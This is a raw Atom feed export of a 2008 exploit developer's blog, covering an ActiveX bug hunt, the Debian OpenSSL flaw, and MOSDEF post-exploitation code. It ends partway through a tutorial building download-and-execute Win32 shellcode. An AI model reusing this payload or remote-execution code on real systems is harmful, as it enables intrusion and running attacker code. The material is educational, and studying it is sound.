Buenos Aires next week, I will be attending Ba-Con and the Eko Party with the Immunities. Beer talks are welcome!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-8739127154207900863?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/8739127154207900863/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=8739127154207900863' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/8739127154207900863'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/8739127154207900863'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2008/09/none.html' title='None'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-4278549270270531188</id><published>2008-09-09T14:01:00.000-07:00</published><updated>2008-09-09T14:18:35.793-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bugs'/><category scheme='http://www.blogger.com/atom/ns#' term='microsoft tuesday'/><category scheme='http://www.blogger.com/atom/ns#' term='ms08-053'/><category scheme='http://www.blogger.com/atom/ns#' term='activex'/><title type='text'>By the time you read this entry...</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://farm4.static.flickr.com/3197/2828271796_cd7cdc68bc_b.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px;" src="http://farm4.static.flickr.com/3197/2828271796_cd7cdc68bc_b.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;...Someone on the interweb would be trying to own you with a new MS Tuesday exploit.&lt;br /&gt;There are three bugs which looks "interesting" (Keeping in mind that we have reduce our standard REALLY low. Back in the time everyone was laughing at client-side, myself included), I took the Windows Media Encoder bug (MS08_053) since I spent last week working on slides for the "Auditing ActiveX" section of the "&lt;a href="http://www.immunityinc.com/education-finding0days.shtml"&gt;Finding Bugs with ID&lt;/a&gt;" training that Dami is teaching next week.&lt;br /&gt;Due to some scripts we pull out for the class (all the kudos to Justin) plus the combination of OleView it took &lt;span style="font-weight: bold;"&gt;less than an hour&lt;/span&gt; to find the bug, no bindiff need this time, the Advisory Workaround information is good enough to get this baby going.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_aUReV5sSeqk/SMbmYOKXXrI/AAAAAAAADFk/83COV_WVM-I/s1600-h/screenshot9.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_aUReV5sSeqk/SMbmYOKXXrI/AAAAAAAADFk/83COV_WVM-I/s400/screenshot9.png" alt="" id="BLOGGER_PHOTO_ID_5244132119912341170" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Next Immunity Debugger release will bring this script, a brand new  python shell based on ipython and variables.&lt;br /&gt;Those of you who attending Dami's class would probably be finding working on this bug by the end of the day. I won't give away any hint other than MS08_053 is much more easy than class exercises, so look for the obvious.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-4278549270270531188?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/4278549270270531188/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=4278549270270531188' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/4278549270270531188'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/4278549270270531188'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2008/09/by-time-you-read-this-entry.html' title='By the time you read this entry...'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://farm4.static.flickr.com/3197/2828271796_cd7cdc68bc_t.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-310323444361389793</id><published>2008-09-08T03:34:00.000-07:00</published><updated>2008-09-08T13:33:20.430-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bugs'/><category scheme='http://www.blogger.com/atom/ns#' term='luciano bello'/><title type='text'>One line to own them all</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://farm4.static.flickr.com/3028/2836409738_c68a363d33_b.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px;" src="http://farm4.static.flickr.com/3028/2836409738_c68a363d33_b.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The last Friday, i finally met Luciano Bello during the "DSP" (Drunken Security Professional, is like a 2600, but better).&lt;br /&gt;&lt;br /&gt;For those of you who don't know Luciano, he find the infamous commented line  on the openssl package in debian, ubuntu, etc which as a consequence it generate only 32k keys. (The Story short: Valgrind bitch about the line, a month-long discussion about the line, debian finally commented).&lt;br /&gt;&lt;br /&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;/*&lt;br /&gt;* Don’t add uninitialised data.&lt;br /&gt;MD_Update(&amp;amp;m,buf,j);&lt;br /&gt;*/&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Anyways, I must state that he surprise me in the good way, I though he will came with the opensource coat and will start  fighting us with a tux in his right hand, trying to save the world or something, but he didn't.&lt;br /&gt;&lt;br /&gt;We had a huge talk (most of them were laughs), at some point it was more like an interview. I regret myself not having a digital recorder (which i would mandatory buy from now on) because I pretty much forgot most of the stuffs.&lt;br /&gt;&lt;br /&gt;As a researcher he is, in the area of cryptographic, when he discover it he wasn't looking at code as us will, instead he was comparing keys, weekends and weekends comparing keys until he realise something was not working correctly.&lt;br /&gt;&lt;br /&gt;Something was not working as expected, keys were repeating 1 each 5000. So then he start looking into code.&lt;br /&gt;&lt;br /&gt;The obliged question:&lt;br /&gt;You could pretty much own every debian/ubuntu in the world with ssh... What did you pick?&lt;br /&gt;The answer is none. And if you re ask the question including the word "hypothetical" (he wasn't 100% sure about the bug when he disclosure it), he will reply again None.&lt;br /&gt;Luciano was so into the bug, testing, checking all his crypto theory that, and this is my feeling, he never realise of the consequence or what he really *had* between his hands.&lt;br /&gt;He didn't realise ssh was affected until someone from debian told him and he did the math.&lt;br /&gt;&lt;br /&gt;The conversation took around two hours, and after that I have the feeling (and this is personal) that he is a bit more into the dark side now, maybe not completely but he took a good peek.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:courier new;font-size:78%;"  &gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh6.ggpht.com/lpigner/SMPlFPZaQGI/AAAAAAAAAn8/OhKShIcElFs/s512/DSC02730.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px;" src="http://lh6.ggpht.com/lpigner/SMPlFPZaQGI/AAAAAAAAAn8/OhKShIcElFs/s512/DSC02730.JPG" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;From left to right: Luciano Bello, myself and Fran "Rulos Adolescentes" Amato (evilgrade's coder)&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Btw, Luciano will be talking at the &lt;a href="http://www.ekoparty.com.ar/"&gt;Eko Party&lt;/a&gt;, same as Pablo Solé and Dave Aitel from Immunity. I'll be around  Eko and &lt;a href="http://ba-con.com.ar/"&gt;Ba-Con&lt;/a&gt;, look for the same version of me, but shaved.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;Note: Picture taken by Leo from &lt;a href="http://kungfoosion.blogspot.com/"&gt;KungFoosion&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-310323444361389793?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/310323444361389793/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=310323444361389793' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/310323444361389793'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/310323444361389793'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2008/09/one-line-to-own-them-all.html' title='One line to own them all'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://farm4.static.flickr.com/3028/2836409738_c68a363d33_t.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-4272149802013090990</id><published>2008-08-25T19:29:00.000-07:00</published><updated>2008-08-25T20:06:16.887-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='post'/><category scheme='http://www.blogger.com/atom/ns#' term='mosdef'/><category scheme='http://www.blogger.com/atom/ns#' term='file browser'/><category scheme='http://www.blogger.com/atom/ns#' term='explotation'/><category scheme='http://www.blogger.com/atom/ns#' term='shellcode'/><title type='text'>That little thing called MOSDEF</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://farm4.static.flickr.com/3029/2788016210_2824fb46a8_o.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px;" src="http://farm4.static.flickr.com/3029/2788016210_2824fb46a8_o.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;In a previous post, I gave a small review of the concept behind MOSDEF. I explained that is a runtime C compiler written in Python that builds shellcode for a bunch of architectures/os and that it was used on CANVAS as a post-explotation platform.&lt;br /&gt;&lt;br /&gt;Recently I have been writing a file browser. It's a simple task (specially if you have GUI skills, which I don't) and it has the advantage of showing all the potential that MOSDEF can bring to your framework, more over if you compare it with an RPC-based.&lt;br /&gt;&lt;br /&gt;For the file-browser, I had to make to obviously list directories (a feature with luckily already had). In an RPC environment, you will have to something like this:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;hFind = call("kernel32.dll!FindFirstFile", dir, &amp;amp;FindFileData)&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;print FindFileData.cFileName&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;while call("kernel32.dll!FindNextFile" hFind, &amp;amp;FindFileData) != 0:&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;   print FindFileData.cFileName&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;(In a *nix environment, you will need to system calls, getdents and stat)&lt;br /&gt;&lt;br /&gt;It does look nice, but for each file in the directory you have the latency of the remote call been sent and the result returned over the wire (think about as your target on the the remote forests of Xi'an).&lt;br /&gt;&lt;br /&gt;Now, in the case of MOSDEF what you need to do is a small C file that does the same thing as python, something like this:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       vars={}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       vars["dir"]=dir&lt;/span&gt; &lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       code="""&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;       #import "string","dir" as "dir"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;       #import "local","sendstring" as "sendstring"&lt;/span&gt; &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;      &lt;br /&gt;#import "local","sendint" as "sendint"      &lt;/span&gt; &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;      &lt;br /&gt;#import "remote", "kernel32.dll|FindFirstFileA" as "FindFirstFile"&lt;/span&gt; &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;      &lt;br /&gt;#import "remote", "kernel32.dll|FindNextFileA" as "FindNextFile"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;       #import "remote", "kernel32.dll|GetLastError" as "GetLastError"&lt;/span&gt;  &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;      &lt;br /&gt;&lt;br /&gt;struct FILETIME {&lt;/span&gt; &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;          int dwLowDateTime;&lt;/span&gt; &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;          int dwHighDateTime;&lt;/span&gt; &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;       };&lt;/span&gt; &lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;       struct WIN32_FIND_DATA {&lt;/span&gt; &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;         &lt;br /&gt;      int dwFileAttributes;&lt;/span&gt;&lt;br /&gt;      &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;struct FILETIME ftCreationTime;&lt;/span&gt;&lt;br /&gt;      &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;struct FILETIME ftLastAccessTime;&lt;/span&gt; &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;         &lt;br /&gt;      struct FILETIME ftLastWriteTime;&lt;/span&gt;&lt;br /&gt;      &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;int nFileSizeHigh;&lt;/span&gt; &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;          int nFileSizeLow;&lt;/span&gt;&lt;br /&gt;      &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;int dwReserved0;&lt;/span&gt; &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;         &lt;br /&gt;      int dwReserved1;&lt;/span&gt; &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;         &lt;br /&gt;      char cFileName[260];&lt;/span&gt;&lt;br /&gt;      &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;char cAlternateFileName[14];&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;       };&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;void sendFILETIME(struct FILETIME *ft) {&lt;/span&gt; &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;         &lt;br /&gt;       sendint(ft-&gt;dwLowDateTime);&lt;/span&gt; &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;         &lt;br /&gt;       sendint(ft-&gt;dwHighDateTime);&lt;/span&gt; &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;      &lt;br /&gt;}&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;void main() {&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;struct WIN32_FIND_DATA FindFileData;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;int hFind;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;int Error;&lt;/span&gt;          &lt;br /&gt;  &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;hFind = -1;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;hFind = FindFirstFile(dir, &amp;amp;FindFileData);&lt;br /&gt;  &lt;/span&gt; &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;if(hFind == -1) {&lt;/span&gt;&lt;br /&gt;       &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;// We send a -1 mean there is no more file to sent&lt;br /&gt;       &lt;/span&gt; &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;sendint(-1);&lt;/span&gt;         &lt;br /&gt;        &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;Error=GetLastError();&lt;/span&gt;&lt;br /&gt;        &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;sendint(Error);&lt;/span&gt; &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;             &lt;br /&gt;        return 0;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;           } else {&lt;/span&gt;&lt;br /&gt;        &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;sendint(FindFileData.dwFileAttributes);&lt;br /&gt;      &lt;/span&gt;  &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;sendint(FindFileData.nFileSizeLow);&lt;br /&gt;&lt;/span&gt;        &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;sendFILETIME(&amp;amp;FindFileData.ftLastWriteTime);&lt;br /&gt;&lt;/span&gt;       &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;sendstring(FindFileData.cFileName);&lt;/span&gt;  &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;          &lt;br /&gt;}&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;while (FindNextFile(hFind, &amp;amp;FindFileData) != 0)&lt;/span&gt; &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;           {&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;              sendint(FindFileData.dwFileAttributes);&lt;br /&gt;   &lt;/span&gt; &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;sendint(FindFileData.nFileSizeLow);&lt;br /&gt;&lt;/span&gt;    &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;sendFILETIME(&amp;amp;FindFileData.ftLastWriteTime);&lt;br /&gt;&lt;/span&gt;    &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;sendstring(FindFileData.cFileName);&lt;/span&gt; &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;          &lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;Error = GetLastError();&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;sendint(-1);&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;sendint(Error); // IF ERROR_NO_MORE_FILE everything works ok :&gt;&lt;/span&gt; &lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;      &lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       """&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       self.clearfunctioncache()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       request=self.compile(code, vars)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       self.sendrequest(request)&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;      &lt;br /&gt;countfile=0&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;      &lt;br /&gt;files=[]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       while 1:&lt;/span&gt;&lt;br /&gt;    &lt;span style="font-family:courier new;"&gt;attr = sint32(self.readint())&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;         [...]&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;Before you mention it or you even think about it, yes, we called "Cripple C" for a good reason.&lt;br /&gt;Anyways, as you imagine, this code gets compiled on your computer and it remotely resolve the addresses of the function needed. Here is the normal output you will see:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-family:courier new;" &gt;Dodir: C:\&lt;/span&gt; &lt;span style="color: rgb(0, 102, 0);font-family:courier new;" &gt;kernel32.dll|FindFirstFileA not in cache - retrieving remotely.&lt;/span&gt; &lt;span style="color: rgb(0, 102, 0);font-family:courier new;" &gt;Getprocaddr_withmalloc: Found kernel32.dll|FindFirstFileA at 7c813559&lt;/span&gt; &lt;span style="color: rgb(0, 102, 0);font-family:courier new;" &gt;kernel32.dll|FindNextFileA not in cache - retrieving remotely.&lt;/span&gt; &lt;span style="color: rgb(0, 102, 0);font-family:courier new;" &gt;Getprocaddr_withmalloc: Found kernel32.dll|FindNextFileA at 7c839019&lt;/span&gt; &lt;span style="color: rgb(0, 102, 0);font-family:courier new;" &gt;kernel32.dll|GetLastError not in cache - retrieving remotely.&lt;/span&gt; &lt;span style="color: rgb(0, 102, 0);font-family:courier new;" &gt;Getprocaddr_withmalloc: Found kernel32.dll|GetLastError at 7c910331&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Once MOSDEF had all the address in its cache, it send the piece of code which gets executed, after that just wait for the requested information to came back parsed and ready to be used on your application.&lt;br /&gt;&lt;br /&gt;Here is the scoop:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_aUReV5sSeqk/SLNwKf_R0iI/AAAAAAAADEQ/a0ETVVepULQ/s1600-h/filebrowser.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_aUReV5sSeqk/SLNwKf_R0iI/AAAAAAAADEQ/a0ETVVepULQ/s400/filebrowser.jpg" alt="" id="BLOGGER_PHOTO_ID_5238654117249929762" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;Note: Yes, sometimes I do this kind of job.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-4272149802013090990?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/4272149802013090990/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=4272149802013090990' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/4272149802013090990'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/4272149802013090990'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2008/08/that-little-thing-called-mosdef.html' title='That little thing called MOSDEF'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_aUReV5sSeqk/SLNwKf_R0iI/AAAAAAAADEQ/a0ETVVepULQ/s72-c/filebrowser.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-1026117038431051596</id><published>2008-08-21T18:39:00.000-07:00</published><updated>2008-08-22T04:00:28.211-07:00</updated><title type='text'>Shellcode: You are doing it CORRECT</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://farm4.static.flickr.com/3155/2781994287_9313dfc889_o.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px;" src="http://farm4.static.flickr.com/3155/2781994287_9313dfc889_o.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Recently I've been doing a lot of shellcode writing due some special needs we had for some exploits (Check post "&lt;a href="http://eticanicomana.blogspot.com/2008/08/apology-of-forking-shellcode.html"&gt;Apology of forking shellcodes&lt;/a&gt;").&lt;br /&gt;&lt;br /&gt;One of the things that get me excited about, other than finishing the citrix_metaframe bug, is the redesign of the shellcode framework that Bas did  for the last release. The system is pretty simple to use and extend (I add myself a couple of features).&lt;br /&gt;&lt;br /&gt;Instead of explaining the obvious, let me show you how it works with a simple example, a small download to IE cache and execute shellcode.&lt;br /&gt;&lt;br /&gt;As most of you know, CANVAS use MOSDEF a runtime compiler for a bunch of different operating system and architecture (Linux x86, Linux SPARC, Linux PPC, Solaris SPARC, Solaris Intel, BSD, AIX, Win32, OSX x86, OSX PPC, etc). Explainning all the MOSDEF details it can take a long time and I usually enjoy my sleeping. Let go with some basics: MOSDEF is a C compiler writting in Python,  so that means that it has a sintax parser, an intermediate language, an assembly compiler, etc. In this case we are gonna use the assembler to compile our shellcode.&lt;br /&gt;&lt;br /&gt;Let's start from the begging, the main class for shellcoding is basecode:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    def httpcachedownload(self, urlfile):&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        codegen = basecode()&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Once we had a basecode object, we need to tell it what would be the win32 api functions that we are gonna need. This basically would add a special stub that would resolve each of those function before our shellcode is executing. (Function resolving is been done by going through the PEB, checking the loaded dlls and comparing strings names).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        codegen.find_function("kernel32.dll!loadlibrarya")&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        codegen.find_function("kernel32.dll!createprocessa")&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        codegen.find_function("kernel32.dll!exitthread")&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Obviously, kernel32.dll is always loaded, but there are api function which are not always loaded, such is the case of  UrlDownloadtoCacheFileA inside urlmon.dll which is the function that is gonna do all the work from us. So what we need to do is, at resolving time, Loadlibrary urlmon.dll and later resolve UrlDownloadtoCacheFileA. Sounds hard, but is obviously simple with MOSDEF:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        codegen.load_library('urlmon.dll')                                    &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        codegen.find_function("urlmon.dll!urldownloadtocachefilea")&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;We had all our resolved hashesh created, now we want to send an "argument" to our shellcode, for this special case we will need the name of the url where our .exe would be. So we are gonna add a global variable named URLNAME and we will pass our url:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        codegen._globals.addString("URLNAME", urlfile)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Now we need the actual code. Yeah, its an simple framework, but we cannot escape for coding the actual assembly:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        codegen.main = """&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        xorl %eax, %eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        mov $0x208, %edx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        //movl %ecx, %edx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        sub %edx, %esp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        movl  %esp, %esi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        leal &lt;span style="color: rgb(0, 51, 0); font-weight: bold;"&gt;URLNAME&lt;/span&gt;-getpcloc(%ebp),%edi     // Note how simple we load the&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;                                                                          // given argument&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        pushl %esi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        // BATCHCODE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);font-family:courier new;" &gt;        // ------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 